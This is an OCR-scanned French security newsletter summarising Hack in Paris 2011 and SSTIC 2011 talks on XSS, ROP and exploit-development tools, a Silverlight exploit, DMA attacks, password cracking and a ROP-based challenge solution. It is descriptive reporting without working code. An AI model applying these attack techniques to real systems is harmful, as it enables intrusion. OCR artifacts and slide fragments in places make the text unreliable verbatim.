prennent une place de plus en plus considérable dans le
milieu de la sécurité.

Par exemple, plusieurs preuves de concept de «botnet»
de smartphones ont déja été réalisées pour controler des
ensembles de smartphones a distance par le biais d’appli-
cations.
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Winn Schwartau a ensuite présenté des chiffres alarmants
spécifiant que, sur une totalité de 500 000 applications
contenues sur I’App Store, 20 % d’entre elles seraient infec-
tées par un code malveillant.

Dans le cadre d'une «cyber guerre», les smartphones
constitueraient des millions de points d’entrées sur les in-
frastructures sensibles.

Dans la suite de sa présentation, et tout en se positionnant
du point de vue des entreprises, il a proposé 10 regles a
suivre pour le futur de la sécurisation et 10 régles a suivre
dés maintenant. Voici donc les principales régles de sécuri-
sation a suivre actuellement :

== Utiliser un VPN ;

= Changer de politique de sécurité en fonction de la loca-
lisation géographique ;

= Utiliser un antivirus ;

= Surveiller I'activité des téléphones ;

= Ne pas changer I'expérience utilisateur (cool factor,
simple, etc.).

Locking the Throne Room - ECMA Script 5, a frozen DOM
and the eradication of XSS (Mario Heiderich)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/02-Loc-
kingTheThroneRoom.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5630718109003569570

= Auteur :
http://www.hackinparis.com/speaker-mario-heiderich

Cette présentation a été menée par Mario Heiderich, cher-
cheur en sécurité, connu dans le milieu des attaques «Cross-
Site Scripting» (XSS) pour ses solutions de contournement
de filtre anti - XSS.

Apres I'historique des évolutions des technologies Javas-
cript, Mario mit I'accent sur la version 1.8.5 de JavaScript
conforme avec la version 5 d'ECMA (European association
for standardizing information and communication systems).
Par la suite, Mario s'est intéressé aux failles XSS de type
DOM-BASED. La particularité de ce type de faille est qu’elles
sont completement invisibles du point de vue du serveur.

La problématique soulevée par Mario est la difficulté de cor-
riger ce genre de vulnérabilité. En revenant sur I'historique
des mitigations coté serveur (exemple : (htmlentities)) et
coté client (exemple : parameétre HttpOnly)), Mario pointe
les lacunes de ces sécurisations et affirme que la sécurisa-
tion de ce type de vulnérabilité ne peut pas étre réalisée
coté serveur. Son idée est d’'empécher les vulnérabilités XSS
directement en DOM.

Avec le support d'ECMA Script 5 au sein des navigateurs,
Mario a présenté les méthodes «.defineProperty», «.seal»
et «.freeze».
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Ces dernieres permettraient I'accés au «getter» et «setter»
des objets DOM dont les cookies et les formulaires entre
autres.

«Selon Win Schwartau : 500 000 applications
contenue sur I’App Store, 20 % d’entre elles
seraient infectées par un code malveillant.»

La présentation fut également agrémentée par quelques
démonstrations particulierement intéressantes sur le
fonctionnement, parfois saugrenu, des navigateurs. Ceux-
ci sont imprévisibles et permettent, dans certains cas, de
réaliser des attaques XSS. Il a utilisé une page web (http://
html5sec.org/innerhtml) pour tester rapidement de nou-
veaux vecteurs d’attaques. Celle-ci ne permet que de com-
parer le texte saisi avec le texte affiché via la méthode
«document.write()».

Bien que cette solution puisse permettre de mettre fin aux
XSS, le blocage des fonctions, ou d'objets sensibles, est réa-
lisé par le biais d’une liste noire. L'application d’une telle
solution dans une application en fonction pourrait casser le
fonctionnement JavaScript de I'application.

Mario travaille actuellement sur la création de librairies et
d’une interface graphique afin de pouvoir mettre a dispo-
sition un outil de sécurisation contre les vulnérabilités de
type XSS pour les applications Web.

Hack in Paris

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Be a smart CISO, learn about people (Bruno Kerouan-
ton)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/03-BeAS-
martCiso.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackInParis2k11#5630718110344772162

== Auteur :
http://www.hackinparis.com/speaker-bruno-kerouanton

Cette présentation, destinée plus particulierement aux RSS,
fat donnée par Bruno Kerouanton, Chef du Groupe de Com-
pétences sécurité de la République et Canton du Jura. Il a
présenté différentes techniques qui lui ont permis de faire
prendre conscience a ses collegues de I'importance de la
sécurité informatique.

En effet, il développe le fait que la mise en oeuvre des
mesures techniques et les protections technologiques (pour
la sécurité informatique) sont loin d’étre suffisantes. Le fac-
teur le plus important, et surtout le plus dangereux, est
le facteur humain. Il a donc montré comment faire pour
influencer les gens de son entreprise afin d’augmenter la
sensibilisation a la sécurité informatique.

«Project Quebec» and win32 exploit development with
pvefindaddr (Peter Van Eeckhoutte)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/04-Project-
Quebec.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackInParis2k11#5631011423878594002

== Auteur :
http://www.hackinparis.com/speaker-peter-van-eec-
khoutte

Cette présentation fat donnée par Peter Van Eeckhoutte,
chercheur en sécurité informatique et expert dans le do-
maine de I'exploitation Windows. Celle-ci fat découpée en
deux parties.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Dans la premiere, il a présenté son outil «pvefindaddr». Il
s'agit d’un plug-in pour Immunity Debugger qui permet
d’automatiser I'exploitation de failles sous Windows. C'est
un outil trés puissant pour écrire des exploits et analyser
des logiciels malveillants. En attachant un programme cible
a Immunity Debugger et en le faisant planter avec un MSF
pattern, «pvefindaddr» est capable de retrouver les poin-
teurs vers ce pattern, les instructions permettant d’outre-
passer les protections ASLR, DEP, SEH, etc.

Utilisation : !pvefindaddr command [<parameters>]

Les commandes disponibles sont : find, a, p/p1/p2, xp/
xp1/xp2, jseh, j, jp, jo, fa, fd, pdep, depxp, depwin2k3, mo-
dules, nosafeseh, nosafesehaslr, noaslr, rop, jrop, ropcall,
findmsp, pattern_create, pattern_offset, suggest, compare,
assemble, offset, encode, info.

Dans la seconde partie de sa présentation, il a décrit la
nouvelle implémentation de I'outil «pvefindaddr», nommé
«mona.py». Il a précisé les améliorations apportées telles
que la vitesse d’exécution, la souplesse de celui-ci, et sur-
tout la génération automatisée de ROP chaine permettant
de contourner la protection ASLR et DEP.

Ce fut une présentation tres agréable teintée de beaucoup
d’humour.
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offensive XSLT (Nicolas Grégoire)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/05-0ffen-
siveXSLT.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5629594281155103010

o= Auteur :

http://www.hackinparis.com/speaker-nicolas-gregoire

Nicolas Grégoire, consultant et propriétaire de la société
spécialisée dans les aspects offensifs de la sécurité infor-
matique Agarri a présenté la dangerosité du langage XSLT.

A language used to transform a

XMIL. document into another
document
(XML, PDF, TXT, SVG, ...

Synthétiquement, XSLT (eXtensible Stylesheet Language
Transformation) est un langage de Transformation XML. Il
permet de modifier/transformer I'apparence d'un fichier
XML via des régles appelées «template», tout comme les
fichiers CSS pour HTML. Le document XML peut entiere-
ment étre remodelé et filtré. On peut méme vy ajouter du
contenu, si bien que le résultat final peut étre totalement
différent de la source.

Durant cette conférence, Nicolas a expliqué les méfaits que
peuvent occasionner les fonctionnalités d’un tel langage,
permettant, par exemple, I'exécution de commande a dis-
tance. Il a également réalisé quelques démonstrations inté-
ressantes sur des produits tels que Liferay ou PHP5.

[xXmMcol
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Agnitio: the security code review Swiss army kniffe
(Rook David)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/06-Agnitio.
pdf

o= Video :
https://picasaweb.google.com/106467546667993439289C
onferencesHackinParis2k11#5630718109091780786

o Auteur :
http://www.hackinparis.com/speaker-david-rook

Cette présentation fat menée par Rook David, analyste en
sécurité chez Realex Payments a Dublin et qui a contribué
aux projets de 'OWASP. Lors de cette conférence, il a pré-
senté une méthode d'analyse de code. En effet, pour lui,
le but nest pas de lire le maximum de lignes en un mini-
mum de temps, mais plutdt de vérifier un certain nombre
de points clés.

De plus, il a exposé le fait que les revues de code ne sont
pas a effectuer en fin de projet car trop difficiles de par
la grande quantité de code. Il affirme qu'il faut éduquer
les développeurs des le début du projet pour leur éviter de
commettre des erreurs par la suite.

e b P T P ——

Il a également présenté son outil, nommé Agnito, qui per-
met de générer des checklists a suivre lors de |'analyse de
code.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



> Jour 2

A Close Look at Rogue Antivirus Program (Alain Zi-
douemba)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/10-RogueAV.
pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5629581645324618018

= Auteur :
http://www.hackinparis.com/speaker-alain-zidouemba

La conférence suivante a été présentée par le chercheur de
Sourcefire VRT («Vulnerability Research Team»). Méme si
celle-ci pouvait, de prime abord, donner I'impression d’une
présentation commerciale, il n’en était rien.

Alain Zidouemba a présenté ce que sont les faux logiciels
anti-malware. Le chercheur s’est ensuite concentré sur
I'analyse d’un faux anti-malware qui a beaucoup fait par-
ler de lui il y a quelques mois de cela : «Mac Protector»,
également connu sous le nom de «Mac Defender». Pour
rappel, face a I'ampleur de la diffusion de ce programme
malveillant (jusqu’a un motif d’appel sur deux au support
technique d'Apple), la firme a la pomme a du publier un
document d’aide permettant de guider les internautes dans
la tache d'identification et de suppression du virus, ainsi
qu’une mise a jour spécialement dédiée a la suppression
de «Mac Defender».

Les recherches trés poussées, et parfois a la limite de Ia
légalité, d’Alain Zidouemba lui ont permis d’énoncer plu-
sieurs faits et hypotheses concernant ce Rogue Anti-Ma-
Iware (RAM). Parmi ces derniers, tout comme Brian Krebs,
le chercheur soupconne un des plus gros prestataires de
service de paiement russe d’étre a I'origine de ce faux an-
ti-malware. De plus, d'apres ses estimations, environ 2%
des victimes acheteraient la version «premium» de «Mac
Defender», ce qui, a I'échelle de la diffusion du RAM, repré-
senterait plusieurs millions de dollars.

Escaping Windows Sandboxes (Tom Keetch)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/12-Escapin-
gWindowsSandboxes.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5629581665604897634

= Auteur
http://www.hackinparis.com/node/85

La présentation de Tom Keetch sur les «bacs a sable» de
Windows était similaire a celle que le chercheur avait déja

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

donné lors de la Black Hat Europe a Barcelone. Pour plus
d’informations, nous vous invitons donc a lire, ou a relire, le
résumé de cette présentation dans I’ActuSécu 28 !

Proactive Network Security through Vulnerability Ma-
nagement (Gary S. Miliefsky)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/11-Proactive-
Security.pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackInParis2k11#5630729270905163570

= Auteur :
http://www.hackinparis.com/speaker-mihai-chiriac

La derniére présentation de cette premiére édition de «Hack
In Paris», a été donnée par Gary S. Miliefsky. Ce speaker a
I'américaine a démarré lentement pour nous expliquer que
rien n’est vraiment sécurisé. Le conférencié s'est ensuite in-
téressé aux CVE («Common Vulnerabilities and Exposures»)
et a leur utilité. Ceux-ci permettent, entre autre, d’identifier
les vulnérabilités de maniéere unique. Ainsi, d’apres Gary S.
Miliefsky, un CVE pourrait étre exploité par plusieurs milliers
de malwares. Logiquement, chaque malware étant diffé-
rent, la meilleur solution reste de corriger la vulnérabilité
(CVE) exploitée. Enfin, le speaker a terminé par la présen-
tation de plusieurs outils, dont OVAL (“Open Vulnerability
Assessment Language”).

Ce dernier, promu comme les CVEs par le MITRE, permet
d’évaluer un systeme. OVAL va ainsi lister les logiciels ins-
tallés et les vulnérabilités associées (via leur CVE) le cas
échéant, facilitant I'application des correctifs si nécessaire.
Enfin, chose importante a noter, d’aprés le conférencier,
95% des attaques exploiteraient des vulnérabilités connues,
d’ou I'importance de maintenir ses systemes a jour !

| tﬁe Wndows Platform '

An assessment of the Internet Explorer, Adobe
Reader and Google Chrome sandboxes

By Tom Keetch
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Pentesting iPhone & iPad Applications (Flora Bottaccio
et Sebastien Andrivet)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/07-Pentes-
ting_iPhone_iPad.pdf

== Auteur :
http://www.hackinparis.com/speaker-flora-bottaccio-se-
bastien-andrivet

La seconde journée de la conférence a débuté par une pré-
sentation de la sécurité des applications iPhone et iPad.
Flora Bottaccio et Sebastien Andrivet, les deux chercheurs
suisses, ont présenté différentes techniques afin de réali-
ser un test complet d'une application. De la récupération
du paquet binaire, en passant par I'installation permettant
d’analyser les échanges sur le réseau, jusqu’au «reverse»
de plusieurs applications en direct, les chercheurs ont ainsi
présenté un panel complet des techniques qui permettent
de contourner les «protections» mises en oeuvre pour pro-
téger le systeme, les applications et les données d'un inter-
naute.

Cette conférence aura aussi permis aux deux chercheurs de
présenter deux outils «<ADVsock2pipe» et «ADVinterceptor»
développés spécialement pour un test demandé par un
client. Ces applications permettent de rediriger I'ensemble
des communications vers un proxy contrélé par la personne
réalisant le test. La derniere chose étonnante est le fait de
procéder en direct a la rétro-ingénierie de plusieurs appli-
cations. Dans tous les cas, méme si celle-ci frolait les limites
de la légalité, cette démonstration aura permis de prendre
conscience de certaines failles classiques présentes dans ce
type d'application.

g

\.‘ o™ t-‘ «

Pentesting iPhone & iPad Apps
Hack In Paris 2011
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Skirack: ROP for masses (Jean-baptiste Aviat)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/08-Skyrack.
pdf

o= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackinParis2k11#5629581641107749762

o Auteur :
http://www.hackinparis.com/speaker-jeab-baptiste-aviat

La deuxieme conférence de cette journée a été donnée par
Jean-Baptiste Aviat. Le consultant d’'HSC est venu présenter
«Skyrack», un outil développé spécialement pour I'aider
dans son travail lorsqu’il cherche a exploiter une faille via la
technique d’exploitation connue sous le nom de «Return-
Oriented Programming» (ROP).

Jong as they are followed by ret like instructions

pop eip
. The top of your stack goes into eip
» And your stack is freed

IHerve Schawer Consuftants 2000-2017 - Fzoo

Seul point noir pour Jean-Baptiste, la présentation le pre-
mier jour de Mona (le remplacant de «pvefindaddr») par
Peter Van Eeckhoutte (a.k.a @corelanc0d3r). Contraireme-
ment a Mona qui pousse I'automatisation du ROP relative-
ment loin, I'outil de Jean-Baptiste Aviat est, au contraire,
pensé pour aider un chercheur dans la réflexion qu'il suit
lors de I'écriture de son shellcode. L'outil est manuel, scrip-
table et au final, bien plus dréle (selon son auteur) a utiliser
que celui de son concurrent.

whois that guy ?

CIS5P,CEH,MCSE
B SA/CSE,CCSA,CC

|
But | am between you and the next Bxc@£F33 break |

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



The forbidden image - Security impact of SVG on the
WWW (Mario Heiderich)

== Whitepaper :
http://www.hackinparis.com/slides/hip2k11/09-TheFor-
biddenimage.pdf

= Video :
https://picasaweb.google.com/106467546667993439289/
ConferencesHackInParis2k1145629581641107749762

== Auteur :
http://www.hackinparis.com/speaker-mario-heiderich

Apres le déjeuner, s'est tenue la seconde conférence de
Mario Heiderich. Apreés le support des CSS, le chercheur s'est
intéressé au SVG. En effet, la norme, qui n’est pourtant pas
nouvelle, est relativement peu connue de la communauté
des chercheurs en sécurité. Celle-ci est cependant particu-
lierement intéressante, car tres complexe, et comme toute
chose complexe, elle déborde de fonctionnalités pouvant
étre abusées pour exploiter différentes failles de sécurité.
Aprés avoir présenté la norme et les capacités offertes aux
développeurs, le chercheur a présenté plusieurs démons-
trations mettant en avant de nombreuses failles de sécurité.

> Références

== Site de I’événement
http://www.hackinparis.com/archive-2011

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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Le SSTIC (Symposium sur la Sécurité des Technologies de
I'Information et des Communications), derriere cette ana-
gramme barbare se cache le rendez-vous a ne pas rater
pour les passionnés et les professionnels de la sécurité
informatique.

Comme a son habitude, cette 9eme édition a eu lieu a
Rennes du 8 au 10 juin. Elle a réuni plus de 400 personnes
dans un seul et méme amphithéatre du campus de I'uni-
versité de Beaulieu Sud. Bonne ambiance assurée !

Arrivés sur les lieux aprés 4h de route et un réveil difficile
a 5h du matin, les croissants et le café sont de bon augure.
Ils accompagnent les «goodies», la distribution du badge,
du magazine MISC, d'un t-shirt et surtout des Actes, livre
de 368 page regroupant la (quasi) totalité des articles des
conférenciers.

> Jour 1

Keynote - Thoughts on Client Systems Security - Joanna
Rutkowska

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/
ThoughtsonClientSystems/SSTIC2011-Slides-Thought-
sonClientSystems-rutkowska.pdf

Les organisateurs du SSTIC ont pour habitude d’inviter pour
I'ouverture des personnalités connues du monde de la sécu-
rité. Cette année, Joanna Rutkowska, chercheuse polonaise
en sécurité informatique a donc ouvert cette 9e édition.

Joanna nous a expliqué que les systemes d’exploitation
actuels ne sont pas suffisamment sécurisés. Selon elle,
appliquer des correctifs de sécurité et rajouter des antivirus

[xXmMcol
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et des protections mémoire plus ou moins performants au
sein des systemes d’exploitation ne permettra jamais d’ob-
tenir un bon niveau de sécurité. L'auteur du rootkit «Blue-
Pill» nous explique que le principe méme d’isolation entre
les processus et les différentes fonctions d'un programme
(comme le chargement d'un fichier) n’existe quasiment
pas sur les systemes d’exploitation actuels. De plus, la plu-
part des systemes d’exploitation sont développés dans un
langage non sdr. Joanna apporte une partie des solutions
avec son systeme d’exploitation Qubes-0S.

Safe
Languages
Reactive
Security
Security by
Isolation

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



BitLocker - Aurélien Bordes

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/bitloc-
ker/SSTIC2011-Article-bitlocker-bordes.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/bitloc-
ker/SSTIC2011-Slides-bitlocker-bordes.pdf

Aurélien Bordes nous présente rapidement la technologie
Bitlocker, intégrée a Windows Vista, qui permet de chif-
frer son disque dur. Il nous rappelle comment fonctionne
ce systeme de chiffrement puis aborde les améliorations
apportées sur Windows 7. Aurélien revient sur les différents
scénarios d'attaque possibles :

# Lorsque I'ordinateur est éteint, BitLocker est efficace si
le chiffrement n’est pas suspendu et que les fichiers page-
file.sys et hiberfil.sys sont sur des partitions chiffrées.

# Lorsque I'ordinateur est allumé ou verrouillé, la ma-
chine peut étre attaquée via le réseau, le «debug mode»
a I'aide d’un cable ou encore I'accés a la mémoire du sys-
teme (FireWire, PCMCIA, etc.).

On retient que sans le TPM (Trusted Platform Module) au-
cune protection n'est efficace.

Cédric Blancher

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.
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Silverlight ou comment surfer a travers .NET - Thomas
Caplin

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/silver-
light_ou_comment_surfer_a_travers_dotnet/SSTIC2011-Ar-
ticle-silverlight_ou_comment_surfer_a_travers_dotnet-ca-
plin.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/silver-
light_ou_comment_surfer_a_travers_dotnet/SSTIC2011-
Slides-silverlight_ou_comment_surfer_a_travers_dotnet-
caplin.pdf

Thomas Caplin nous a présenté de facon trés claire une vul-
nérabilité au sein de Silverlight datant de 2010. Nous en
avons un peu plus appris sur la structure d’un binaire Sil-
verlight et la facon dont il est généré. Le bug en lui méme
est une mauvaise gestion de certaines méthodes virtuelles
et d'ajustement de pointeur (voir Iarticle pour les plus cou-
rageux).

Silverlight : une piste en or |

Silverlight : une piste en or!

Résultats de I'exploit
e L'exploit contourne I'ASLR et le DEP avec tous les navigateurs
s Pour la majorité des navigateurs, le plugin Silverlight n’est pas sandboxé

e L'exploit n'utilise pas de heap spraying, il est immédiat et trés stable

Web browser ASLR | DEP. | Sandbox
e
svpasseD
Internet
Explorer

BYPASSED BYPASSED | NOT SANDBOXED

0x &

@ BYPASSED BYPASSED | NOT SANDBOXED

Il est alors possible, a I'aide de cette faille, de lire et d’écrire
n" importe ou en mémoire. Thomas nous a expliqué que la
protection ASLR de Windows 7 (adresse mémoire aléatoire)
ne servait a rien pour ce type de vulnérabilité et que cer-
taines zones mémoires de Silverlight n'étaient pas proté-
gées par DEP. L'exécution de code malveillant est alors tout
a fait possible et fiable !

La démo est impressionnante : les navigateurs Internet
Explorer 9, Firefox 4 et Google Chrome sont tous exploités
en moins d'une seconde 3 I'aide d’une page web conte-
nant I'animation Silverlight malveillante. Pire encore, seul
Internet Explorer 9 met I'application Silverligh dans un bac a
sable (sandbox) pour limiter la compromission du systeme.
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XSSF : démontrer le danger des XSS - Ludovic Courgnaud

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/XSSF
demontrer_le_danger_des_xss/SSTIC2011-Article-XSSF_de-
montrer_le_danger_des_xss-courgnaud.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/XSSF
demontrer_le_danger_des_xss/SSTIC2011-Slides-XSSF_de-
montrer_le_danger_des_xss-courgnaud.pdf

Ludovic Courgnaud a présenté son framework pour exploi-
ter des vulnérabilités Cross-site scripting (XSS).

Rainbow Tables probabilistes - Alain Schneider

== Whitepaper
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/rain-
bow_tables_probabilistes/SSTIC2011-Article-rainbow_
tables_probabilistes-schneider.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/rain-
bow_tables_probabilistes/SSTIC2011-Slides-rainbow
tables_probabilistes-schneider.pdf

Les rainbow tables sont des listes de correspondance hash/
mot de passe permettant de casser tres rapidement un mot
de passe «hashé» dans un format non réversible (MD5,
SHA1, etc.). Alain nous a présenté une méthodologie de
génération de mot de passe qui s'appuie sur des espaces
de Markov. Le principe est de générer une liste de hash
basée sur des mots de passe non pas aléatoires ou itératifs,
mais calculés sur la probabilité d’occurrence de ceux-ci.

Les résultats sont impressionnants : 87 % des hash de
mots de passe du site Rockyou . Ceux qui ont été volés il
y a quelques mois) ont été cassés a l'aide d’une rainbow
table de moins de 40go. Une rainbow table normale de 15
000 Go n’aurait permis de retrouver que 83% des mots de
passe. Le public était convaincu ! De plus, Lexsi fournit le
code source de son outil «crackNfast» qui permet de géné-
rer les tables.

Complexité d’'un mot de passe

* Pour définir la complexité statistique d’'un mot de passe on
commence par sélectionner un ensemble de mots de passe
témoins, puis on en extrait des propriétés statistiques.

Mots de passe

leil
solell 1o 123456

Propriétés statistiques

* On mesure ensuite I'écart entre les propriétés statistiques
extraites et le mot de passe dont on veut mesurer la
complexité statistique

D

bl

o

-
*.\v
o 2

o
S
Mesure

« Soleil » A\

ee

=0

T Valeur de complexité

LEXS]

Propriétés statistigues
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Memory Eye - Yoann Guillot

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/me-
mory_eye/SSTIC2011-Article-memory_eye-quillot.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/me-
mory_eye/SSTIC2011-Slides-memory_eye-quillot.pdf

Aprés une explication rapide de la représentation mé-
moire du tas («heap») sous Linux et Windows, Yoann nous
a présenté son logiciel Memory Eye qui permet d’explo-
rer a I'aide de graphiques, les différentes zones mémoire
allouées par une application. Le jeu vidéo Dward Fortress
est utilisé pour la démo, jeu dont les graphismes sont en
... ASCIl ! Aprés quelques essais, Yoann réussit a trouver
et a modifier une donnée en mémoire afin de modifier le
nombre d’objets au sein du jeu. La démonstration était tres
amusante et originale.

La mémoire

Heap Windows

uncommitted range I

Sécurité du systeme Android - Nicolas Ruff

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/Secu-
rite_Android/SSTIC2011-Article-Securite_ Android-ruff.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/Secu-
rite_Android/SSTIC2011-Slides-Securite_Android-ruff.pdf

Nicolas Ruff, personnage tres apprécié de la scéne, n'a
méme pas eu besoin de faire un «template» de slide un
tant soit peu design pour séduire I'auditoire. Pariant sur la
popularité d’Android, sa présentation était, je cite «stre
d'étre acceptée pour le SSTIC». Au programme : un résumé
des vulnérabilités qui ont touché le systeme d’exploitation
(0S) Android ces derniers mois. Nicolas nous a rappelé que
seuls 23,6 % des téléphones vendus dans le monde au pre-
mier trimestre 2011 sont des smartphones.

Android étant I'0S le plus vendu avec 36% de part de mar-
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ché. La sécurité des applications s’appuie sur un systeme
de certificat (qui accepte aussi les certificats auto signés) ;
Google peut révoquer une application a distance ; les per-
missions «sensibles» doivent étre explicitement acceptées
par l'utilisateur.

Cette sécurité apparente cache tous les problemes d'An-
droid. Le systeme repose sur un 0S Linux utilisant le moteur
de rendu web WebKit ainsi que le player Flash. Android est
donc sensible a toutes les vulnérabilités qui touchent I'un
de ces composants.

c
=
x
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[
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L'0S Android lui-méme comporte une fonctionnalité pour
déverrouiller n‘importe quel téléphone avec le mot de
passe «null».

Les applications disponibles sur le market peuvent accéder
a la plupart des données du téléphone si I'utilisateur I'au-
torise. Une simple faille XSS sur I’Android Market pouvait
permettre I'installation invisible d’'une application malveil-
lante. De plus, les applications rajoutées par les construc-
teurs sont, elles aussi, souvent vulnérables ou fragilisent Ia
sécurité du téléphone (application ne supportant pas le SSL,
shell «root» ouvert sur le port 12345, etc.).

«Android repose sur un 0S Linux utilisant
le moteur de rendu web WebKit ainsi que
le player Flash. Android est donc sensible a
toutes les vulnérabilités qui touchent I'un de
ces composants.»

Nicolas Ruff a, tout de méme, modéré ses propos en citant
quelques points de sécurité comme la signature des firm-
wares ou le «<Remote kill switch» applicatif. Une conférence
appréciée de tous pour sa bonne humeur.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

> Jour 2

Attaques DMA peer-to-peer et contremesures - Fer-
nand Lone Sang, Loic Duflot, Vincent Nicomette, Yves
Deswarte

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/at-
taques_dma_peer-to-peer_et_contremesures/SSTIC2011-
Article-attaques_dma_peer-to-peer_et_contremesures-
lone-sang_duflot_nicomette_deswarte.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/at-
taques_dma_peer-to-peer_et_contremesures/SSTIC2011-
Slides-attaques_dma_peer-to-peer_et_contremesures-
lone-sang_duflot_nicomette_deswarte.pdf

Les attaques DMA (Direct Memory Access) permettent
d’accéder a la mémoire du systéeme via les controleurs USB,
FireWire, etc. Fernand nous a expliqué plus en détail les
mécanismes d’acces. Par exemple, nous avons appris que
les contrdleurs réseau (WiFi, Ethernet, etc.), les disques et
les graphiques utilisaient aussi le DMA.

En ciblant ces controleurs, il est possible «d’écouter» les
données qui transitent et de capturer I'image directement
depuis la mémoire de la carte graphique. Une preuve de
concept a été codée en Python tout en utilisant le contro-
leur FireWire pour accéder a la mémoire du chipset. L'image
de I'écran de I'ordinateur est «capturée» en temps réel via
la connexion FireWire !

Une des contre-mesures possibles est I'utilisation d’'un com-
posant appelé I/0 Memory Management Unit (I/0 MMU)
afin d’assurer l'isolation entre les régions de mémoire des
controleurs.

Ce fut une présentation technique et vraiment intéressante.
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Résultat du challenge Axel Tillequin, Gabriel Cam-
pana, Jean-Baptiste Bedrune

== Whitepaper :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/chal-
lenge2011/SSTIC2011-Article-challenge2011-tillequin_
campana_bedrune.pdf

o= slide :
http://www.sstic.org/media/SSTIC2011/SSTIC-actes/chal-
lenge2011/SSTIC2011-Slides-challenge2011-.pdf

= URL du challenge : http://communaute.sstic.org/Chal-
lengeSSTIC2011

Comme chaque année, le SSTIC organise un challenge. Cette
année, le concours était présenté sur un fichier binaire dans
lequel il fallait retrouver une adresse e-mail sous la forme
“@sstic.org.

Le fichier est un container mp4. En étudiant le format, il est
possible d’en extraire un plugin-vic ainsi qu'un fichier
«introduction.txt».

Le plugin-vic déchiffre la vidéo a I'aide de deux fichiers :
secret1.dat et secret2.dat.

Le fichier introduction.txt explique qu'il va falloir exploiter
une vulnérabilité au sein d’'une base donnée a distance.
Les informations de connexion sont fournies au sein de ce
méme fichier.

Le serveur hébergeant la base de données offre gracieu-
sement les sources de certaines fonctions de la base de
données («user defined fonctions»). Ces fonctions sont vul-
nérables et permettent de lire/écrire et d’exécuter du code
en mémoire. Une protection a tout de méme été activée
au sein de la base de données distante, le mode SECCOMP.

Ce mode permet d’appeler uniquement les fonctions read,
write, exit et sigreturn. En dumpant la totalité du binaire
«sgdb.elf» a I'aide de la vulnérabilité qui permet de lire en
mémoire, Axel a, analysé le programme localement. Par
chance, il s’avere que le fichier secret1.dat fut ouvert par la
base au démarrage. En utilisant la technique d’exploitation
d’enchainement chainé (Return Oriented Exploitation), tout
en appelant la fonction «read», sur le descripteur de fichier
numéro 3, et write sur la sortie standard, il est alors pos-
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sible de lire le contenu du fichier secret1.dat. Rien que ca !

Le contenue de secret2.dat est, quant a lui, récupérable en
analysant la fonction «decrypt» du plug-in vic. Avec cette
fonction qui utilise une clé de chiffrement «en dur», il est
possible, en inversant cette fonction (plus facile a dire qu’a
faire), de générer le fichier secret2.dat.

Une fois en possession des deux secrets, la vidéo est lisible
et I'adresse email peut étre incrustée dans la vidéo.

Bravo aux gagnants !

Rump Session

La rumps session est un moment ou chacun peut présen-
ter ce qu’il souhaite le jeudi a partir de 16h30. Les inscrip-
tions sont possibles jusqu’au jour méme. Seul hic, le temps
imparti est de 4 min ... questions comprises ! Un compteur
est placé sur la scéne. Il permet de maintenir le timing. Au
total une vingtaine de personnes ont présenté des sujets
divers et variés et ce, dans la bonne humeur. Les personnes
du public qui posaient des questions étaient récompensés
par les organisateurs qui jetaient des «goodies» a travers
I'amphithéatre.

Voici les themes qui ont été traités (voir la liste complete
avec des descriptions sur le blog de Cédric Blancher - http://
sid.rstack.org/blog/index.php/486-sstic-2011-deuxieme-
jour

== Faire un SSTIC, par Benjamin Morin (ANSSI) au nom du
;

o= Systeme de billetterie du SSTIC, par Nicolas Bareil et
Fabrice Desclaux (EADS Innovation Works) ;

== XSS Test Driver, par Erwan Abgrall (Kereval) ;

= Digital Forensics XML, par Christophe Grenier (CGSecu-
rity) ;

= IWKBULKS (Réalisation d’un keylogger USB), par Auré-
lien Bordes ;

